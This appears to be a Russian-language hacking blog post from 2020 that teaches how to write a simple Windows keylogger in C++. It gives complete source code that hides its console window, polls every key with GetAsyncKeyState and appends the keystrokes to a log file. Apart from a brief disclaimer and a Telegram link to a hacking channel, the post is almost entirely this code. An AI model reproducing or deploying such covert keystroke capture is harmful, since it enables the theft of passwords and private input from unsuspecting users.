May 20, 2020

Кейлогер на С++

Вся представленная информация несёт лишь ознакомительный характер и не призывает Вас к действиям нарушающим закон!


Кейлогер/кейлоггер- программное обеспечение или аппаратное устройство, регистрирующее различные действия пользователя- нажатия клавиш на клавиатуре компьютера, движения и нажатия клавиш мыши и т. д.

Сегодня разбираем написание простого KeyLogger`а под Windows на С++.


Инклудим библиотеки и включаем пространство имен std:

#include <iostream>

#include <Windows.h>

using namespace std;

Пишем протип функции для сохранения нажатых клавиш в файл:

int save(int _key, char *file);

Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:

int main() { 
   FreeConsole();
   char i;
   while (true) {
      Sleep(10);
      for (i = 8; i <= 255; i++) {
         if (GetAsyncKeyState(i) == -32767) {
            save(i, "log.txt");
         }
      }
   }
   return 0;
}

Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:

int save(int _key, char *file) {

   cout << _key << endl;
   
   Sleep(10);
   
   FILE *OUTPUT_FILE;
   
   OUTPUT_FILE = fopen(file, "a+");
   
   
   if (_key == VK_SHIFT)
      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
      
   else if (_key == VK_BACK)
   
      fprintf(OUTPUT_FILE, "%s", "[BACK]");
      
   else if (_key == VK_LBUTTON)
   
      fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
      
   else if (_key == VK_RETURN)
   
      fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");
      
   else if (_key == VK_ESCAPE)
   
      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
      
   else
   
      fprintf(OUTPUT_FILE, "%s", &_key);
      
   fclose(OUTPUT_FILE);
   
   return 0;
   
}

Готово)


https://t.me/h4ckers_zone